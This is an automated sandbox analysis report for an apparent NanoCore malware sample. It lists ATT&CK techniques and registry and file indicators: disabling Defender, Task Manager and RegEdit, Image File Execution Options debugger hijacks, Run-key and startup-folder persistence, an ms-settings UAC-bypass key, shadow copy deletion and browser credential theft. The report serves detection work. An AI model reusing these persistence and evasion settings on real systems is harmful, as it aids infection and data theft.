nanocore | 5b40b5435266af6277940f54d54822b0f29b80bed9547a82aba355ec49a579cf

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	eclock.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5256	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	eclock.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	eclock.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\eclock.io_chrome.exe"	eclock.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	eclock.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\eclock.io_chrome.exe"	eclock.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	eclock.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\eclock.io_chrome.exe"	eclock.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	eclock.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
2932	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf	eclock.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf	eclock.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	eclock.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf	eclock.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf	eclock.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf	eclock.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf	eclock.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf	eclock.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf	eclock.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf	eclock.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_156.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf	eclock.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf	eclock.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf	eclock.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf	eclock.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf	eclock.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf	eclock.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf	eclock.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf	eclock.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf	eclock.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf	eclock.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf	eclock.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf	eclock.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf	eclock.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf	eclock.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf	eclock.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf	eclock.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf	eclock.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf	eclock.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf	eclock.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf	eclock.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\eclock.io_chrome.exe"	eclock.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\eclock.io_chrome.exe"	eclock.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\eclock.io_chrome.exe"	eclock.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
4172	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	eclock.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	eclock.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	eclock.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
2392	wscript.exe
1440	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	eclock.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	eclock.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
480	sc.exe
2016	sc.exe
1868	sc.exe
3424	sc.exe
776	sc.exe
2388	sc.exe
5688	sc.exe
4964	sc.exe
1476	sc.exe
5604	sc.exe
4636	sc.exe
644	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1680	cmd.exe
3408	cmd.exe
2968	cmd.exe
2576	cmd.exe
1732	cmd.exe
5724	cmd.exe
2640	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2744	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
4376	ipconfig.exe
5480	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
2084	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4724	vssadmin.exe
5352	vssadmin.exe
400	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\WallpaperStyle = "2"	eclock.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134308001681992484"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	eclock.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	eclock.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command	eclock.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell	eclock.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open	eclock.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	eclock.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings	eclock.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	eclock.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	eclock.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\eclock.io_chrome.exe"	eclock.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\DelegateExecute	eclock.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command	eclock.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings	eclock.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\eclock.io_chrome.exe\" \"%1\""	eclock.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open	eclock.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell	eclock.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
400	schtasks.exe
6020	schtasks.exe
5308	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5100	chrome.exe
5100	chrome.exe
5256	powershell.exe
5256	powershell.exe
5256	powershell.exe
5472	WMIC.exe
5472	WMIC.exe
5472	WMIC.exe
5472	WMIC.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
2416	WMIC.exe
2416	WMIC.exe
2416	WMIC.exe
2416	WMIC.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
5960	WMIC.exe
5960	WMIC.exe
5960	WMIC.exe
5960	WMIC.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe
1812	eclock.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1812	eclock.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeDebugPrivilege	5256	powershell.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeIncreaseQuotaPrivilege	5472	WMIC.exe
Token: SeSecurityPrivilege	5472	WMIC.exe
Token: SeTakeOwnershipPrivilege	5472	WMIC.exe
Token: SeLoadDriverPrivilege	5472	WMIC.exe
Token: SeSystemProfilePrivilege	5472	WMIC.exe
Token: SeSystemtimePrivilege	5472	WMIC.exe
Token: SeProfSingleProcessPrivilege	5472	WMIC.exe
Token: SeIncBasePriorityPrivilege	5472	WMIC.exe
Token: SeCreatePagefilePrivilege	5472	WMIC.exe
Token: SeBackupPrivilege	5472	WMIC.exe
Token: SeRestorePrivilege	5472	WMIC.exe
Token: SeShutdownPrivilege	5472	WMIC.exe
Token: SeDebugPrivilege	5472	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5472	WMIC.exe
Token: SeRemoteShutdownPrivilege	5472	WMIC.exe
Token: SeUndockPrivilege	5472	WMIC.exe
Token: SeManageVolumePrivilege	5472	WMIC.exe
Token: 33	5472	WMIC.exe
Token: 34	5472	WMIC.exe
Token: 35	5472	WMIC.exe
Token: 36	5472	WMIC.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeBackupPrivilege	3376	vssvc.exe
Token: SeRestorePrivilege	3376	vssvc.exe
Token: SeAuditPrivilege	3376	vssvc.exe
Token: SeIncreaseQuotaPrivilege	5472	WMIC.exe
Token: SeSecurityPrivilege	5472	WMIC.exe
Token: SeTakeOwnershipPrivilege	5472	WMIC.exe
Token: SeLoadDriverPrivilege	5472	WMIC.exe
Token: SeSystemProfilePrivilege	5472	WMIC.exe
Token: SeSystemtimePrivilege	5472	WMIC.exe
Token: SeProfSingleProcessPrivilege	5472	WMIC.exe
Token: SeIncBasePriorityPrivilege	5472	WMIC.exe
Token: SeCreatePagefilePrivilege	5472	WMIC.exe
Token: SeBackupPrivilege	5472	WMIC.exe
Token: SeRestorePrivilege	5472	WMIC.exe
Token: SeShutdownPrivilege	5472	WMIC.exe
Token: SeDebugPrivilege	5472	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5472	WMIC.exe
Token: SeRemoteShutdownPrivilege	5472	WMIC.exe
Token: SeUndockPrivilege	5472	WMIC.exe
Token: SeManageVolumePrivilege	5472	WMIC.exe
Token: 33	5472	WMIC.exe
Token: 34	5472	WMIC.exe
Token: 35	5472	WMIC.exe
Token: 36	5472	WMIC.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1812	eclock.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1812 wrote to memory of 5100	1812	eclock.io_chrome.exe	89
PID 5100 wrote to memory of 4200	5100	chrome.exe	90
PID 1812 wrote to memory of 5256	1812	eclock.io_chrome.exe	91
PID 5100 wrote to memory of 2744	5100	chrome.exe	93
PID 5100 wrote to memory of 2456	5100	chrome.exe	94
PID 5100 wrote to memory of 2456	5100	chrome.exe	94
PID 5100 wrote to memory of 2512	5100	chrome.exe	95
PID 5100 wrote to memory of 2512	5100	chrome.exe	95
PID 5100 wrote to memory of 5836	5100	chrome.exe	97
PID 5100 wrote to memory of 4708	5100	chrome.exe	98
PID 5100 wrote to memory of 5836	5100	chrome.exe	97
PID 5100 wrote to memory of 4708	5100	chrome.exe	98
PID 1812 wrote to memory of 2388	1812	eclock.io_chrome.exe	99
PID 1812 wrote to memory of 4636	1812	eclock.io_chrome.exe	101
PID 1812 wrote to memory of 644	1812	eclock.io_chrome.exe	103
PID 5100 wrote to memory of 5368	5100	chrome.exe	104
PID 5100 wrote to memory of 5368	5100	chrome.exe	104
PID 1812 wrote to memory of 480	1812	eclock.io_chrome.exe	150
PID 1812 wrote to memory of 5688	1812	eclock.io_chrome.exe	108
PID 1812 wrote to memory of 4964	1812	eclock.io_chrome.exe	110
PID 1812 wrote to memory of 2016	1812	eclock.io_chrome.exe	112
PID 1812 wrote to memory of 1476	1812	eclock.io_chrome.exe	114
PID 1812 wrote to memory of 3244	1812	eclock.io_chrome.exe	116
PID 1812 wrote to memory of 5604	1812	eclock.io_chrome.exe	117
PID 1812 wrote to memory of 1868	1812	eclock.io_chrome.exe	119
PID 3244 wrote to memory of 2972	3244	fodhelper.exe	120
PID 1812 wrote to memory of 4724	1812	eclock.io_chrome.exe	193
PID 5100 wrote to memory of 4836	5100	chrome.exe	124
PID 5100 wrote to memory of 4836	5100	chrome.exe	124
PID 1812 wrote to memory of 5472	1812	eclock.io_chrome.exe	125
PID 1812 wrote to memory of 2392	1812	eclock.io_chrome.exe	132
PID 1812 wrote to memory of 400	1812	eclock.io_chrome.exe	170
PID 1812 wrote to memory of 6020	1812	eclock.io_chrome.exe	135
PID 1812 wrote to memory of 2576	1812	eclock.io_chrome.exe	140
PID 1812 wrote to memory of 2968	1812	eclock.io_chrome.exe	142
PID 1812 wrote to memory of 3408	1812	eclock.io_chrome.exe	143
